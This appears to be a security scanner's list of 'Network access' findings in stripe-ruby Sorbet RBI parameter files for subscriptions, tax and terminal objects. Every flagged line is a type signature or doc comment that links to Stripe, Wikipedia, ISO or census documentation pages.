    def days_until_due=(_days_until_due); end     # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoice
  • Network accessline 929
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 932
    sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def default_payment_method=(_default_payment_method); end     # ID of the default payment source for the subscription. It must belong to the customer 
  • Network accessline 933
    def default_payment_method=(_default_payment_method); end     # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method`
  • Network accessline 934
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 975
    }     def items=(_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 976
    def items=(_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca
  • Network accessline 977
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 992
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }     def on_behalf_of=(_on_behalf_of); end     # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unc
  • Network accessline 993
    def on_behalf_of=(_on_behalf_of); end     # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection
  • Network accessline 994
    # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip
  • Network accessline 999
    }     def pause_collection=(_pause_collection); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user acti
  • Network accessline 1000
    def pause_collection=(_pause_collection); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions ar
  • Network accessline 1001
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 1002
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 1003
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 1004
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 1005
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 1006
    #     # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is
  • Network accessline 1007
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 1017
    }     def payment_settings=(_payment_settings); end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given su
  • Network accessline 1018
    def payment_settings=(_payment_settings); end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscrip
  • Network accessline 1019
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 1024
    }     def pending_invoice_item_interval=(_pending_invoice_item_interval); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, 
  • Network accessline 1025
    def pending_invoice_item_interval=(_pending_invoice_item_interval); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resett
  • Network accessline 1026
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 1029
    sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) }     def proration_behavior=(_proration_behavior); end     # If set, prorations will be calculated as though the subscription was updated at the given time. Th
  • Network accessline 1030
    def proration_behavior=(_proration_behavior); end     # If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [crea
  • Network accessline 1031
    # If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat
  • Network accessline 1048
    }     def trial_end=(_trial_end); end     # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` togeth
  • Network accessline 1049
    def trial_end=(_trial_end); end     # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together wit
  • Network accessline 1050
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/association_find_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id
  • Network accessline 12
    def expand=(_expand); end       # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id       sig { returns(String) }
  • Network accessline 13
    # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/calculation_create_params.rbi

  • Network accessline 13
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_316
  • Network accessline 34
    def postal_code=(_postal_code); end           # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible.           sig { returns(T.nilable(String))
  • Network accessline 35
    # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible.
  • Network accessline 105
    end       class LineItem < ::Stripe::RequestParams         # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 106
    class LineItem < ::Stripe::RequestParams         # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         # If `tax_behavior=inclusive`, then thi
  • Network accessline 107
    # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 111
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional informa
  • Network accessline 112
    def amount=(_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.         sig 
  • Network accessline 113
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 128
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference h
  • Network accessline 129
    def quantity=(_quantity); end         # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax
  • Network accessline 130
    # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax/reports).
  • Network accessline 138
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }         def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we w
  • Network accessline 139
    def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `p
  • Network accessline 140
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `product` is provided, we will use the default t
  • Network accessline 163
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 164
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 165
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 183
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without count
  • Network accessline 184
    def postal_code=(_postal_code); end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 185
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 211
    end       class ShippingCost < ::Stripe::RequestParams         # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this am
  • Network accessline 212
    class ShippingCost < ::Stripe::RequestParams         # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount inclu
  • Network accessline 213
    # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes are calculated on top of 
  • Network accessline 216
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }         def amount=(_amount); end         # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior
  • Network accessline 217
    def amount=(_amount); end         # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, `
  • Network accessline 218
    # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, `tax_code`, or `tax_behavior` param
  • Network accessline 226
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }         def tax_behavior=(_tax_behavior); end         # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provide
  • Network accessline 227
    def tax_behavior=(_tax_behavior); end         # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.c
  • Network accessline 228
    # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.com/settings/tax) is used.
  • Network accessline 236
    def initialize(amount: nil, shipping_rate: nil, tax_behavior: nil, tax_code: nil); end       end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https:
  • Network accessline 237
    end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 238
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/registration_create_params.rbi

  • Network accessline 423
    class Ca < ::Stripe::RequestParams           class ProvinceStandard < ::Stripe::RequestParams             # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 424
    class ProvinceStandard < ::Stripe::RequestParams             # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(String) }
  • Network accessline 425
    # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1838
    class Us < ::Stripe::RequestParams           class LocalAmusementTax < ::Stripe::RequestParams             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS co
  • Network accessline 1839
    class LocalAmusementTax < ::Stripe::RequestParams             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlingto
  • Network accessline 1840
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlington Heights), `06613` (Bloomington), `10906` (Campton Hills), `2
  • Network accessline 1847
    end           class LocalLeaseTax < ::Stripe::RequestParams             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago).
  • Network accessline 1848
    class LocalLeaseTax < ::Stripe::RequestParams             # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago).             sig { ret
  • Network accessline 1849
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago).
  • Network accessline 1857
    class StateSalesTax < ::Stripe::RequestParams             class Election < ::Stripe::RequestParams               # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported F
  • Network accessline 1858
    class Election < ::Stripe::RequestParams               # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Phila
  • Network accessline 1859
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Philadelphia City).
  • Network accessline 1902
    }           def local_lease_tax=(_local_lease_tax); end           # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1903
    def local_lease_tax=(_local_lease_tax); end           # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(String) }
  • Network accessline 1904
    # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2851
    sig { params(_active_from: T.any(String, Integer)).returns(T.any(String, Integer)) }       def active_from=(_active_from); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2852
    def active_from=(_active_from); end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(String) }
  • Network accessline 2853
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/settings_update_params.rbi

  • Network accessline 7
    class SettingsUpdateParams < ::Stripe::RequestParams       class Defaults < ::Stripe::RequestParams         # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be u
  • Network accessline 8
    class Defaults < ::Stripe::RequestParams         # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One
  • Network accessline 9
    # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One of inclusive, exclusive, or inferred_by_currency
  • Network accessline 12
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }         def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 13
    def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.         sig { returns(T.nilable(String)) }
  • Network accessline 14
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 27
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 28
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 29
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 47
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without count
  • Network accessline 48
    def postal_code=(_postal_code); end           # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".           sig { returns(T.nilable(String)) }
  • Network accessline 49
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_from_calculation_params.rbi

  • Network accessline 16
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 17
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_reversal_params.rbi

  • Network accessline 7
    class TransactionCreateReversalParams < ::Stripe::RequestParams       class LineItem < ::Stripe::RequestParams         # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 8
    class LineItem < ::Stripe::RequestParams         # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.         sig { returns(Integer) }
  • Network accessline 9
    # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 12
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 13
    def amount=(_amount); end         # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.         sig { returns(Integer) }
  • Network accessline 14
    # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 17
    sig { params(_amount_tax: Integer).returns(Integer) }         def amount_tax=(_amount_tax); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additi
  • Network accessline 18
    def amount_tax=(_amount_tax); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     
  • Network accessline 19
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 29
    sig { params(_original_line_item: String).returns(String) }         def original_line_item=(_original_line_item); end         # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the am
  • Network accessline 30
    def original_line_item=(_original_line_item); end         # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed.         sig { returns(T.nilable(Integer)) }
  • Network accessline 31
    # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed.
  • Network accessline 52
    end       class ShippingCost < ::Stripe::RequestParams         # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 53
    class ShippingCost < ::Stripe::RequestParams         # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.         sig { returns(Integer) }
  • Network accessline 54
    # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 57
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 58
    def amount=(_amount); end         # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.         sig { returns(Integer) }
  • Network accessline 59
    # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 70
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.co
  • Network accessline 71
    def expand=(_expand); end       # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from th
  • Network accessline 72
    # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from the transaction, including taxes.
  • Network accessline 82
    }       def line_items=(_line_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 83
    def line_items=(_line_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 84
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 99
    sig { params(_original_transaction: String).returns(String) }       def original_transaction=(_original_transaction); end       # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transac
  • Network accessline 100
    def original_transaction=(_original_transaction); end       # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exp
  • Network accessline 101
    # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exported [tax reports](https://docs.stripe.com/tax/reports).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax_rate_create_params.rbi

  • Network accessline 10
    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 11
    def active=(_active); end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).     sig { returns(T.nilable(String)) }
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 40
    sig { params(_jurisdiction: T.nilable(String)).returns(T.nilable(String)) }     def jurisdiction=(_jurisdiction); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful 
  • Network accessline 41
    def jurisdiction=(_jurisdiction); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 42
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 52
    sig { params(_percentage: Float).returns(Float) }     def percentage=(_percentage); end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 53
    def percentage=(_percentage); end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.     sig { returns(T.nilable(String)) }
  • Network accessline 54
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax_rate_update_params.rbi

  • Network accessline 10
    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 11
    def active=(_active); end     # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).     sig { returns(T.nilable(String)) }
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 35
    sig { params(_jurisdiction: T.nilable(String)).returns(T.nilable(String)) }     def jurisdiction=(_jurisdiction); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful 
  • Network accessline 36
    def jurisdiction=(_jurisdiction); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 37
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 42
    }     def metadata=(_metadata); end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 43
    def metadata=(_metadata); end     # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.     sig { returns(T.nilable(String)) }
  • Network accessline 44
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/connection_token_create_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # The id of the location that this connection token is scoped to. If specified the connection token will only be
  • Network accessline 12
    def expand=(_expand); end       # The id of the location that this connection token is scoped to. If specified the connection token will only be usable with readers assigned to that location, otherwise the connection token will be usable wi
  • Network accessline 13
    # The id of the location that this connection token is scoped to. If specified the connection token will only be usable with readers assigned to that location, otherwise the connection token will be usable with all readers. Note that locati

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/location_create_params.rbi

  • Network accessline 12
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 13
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(String) }
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 33
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 55
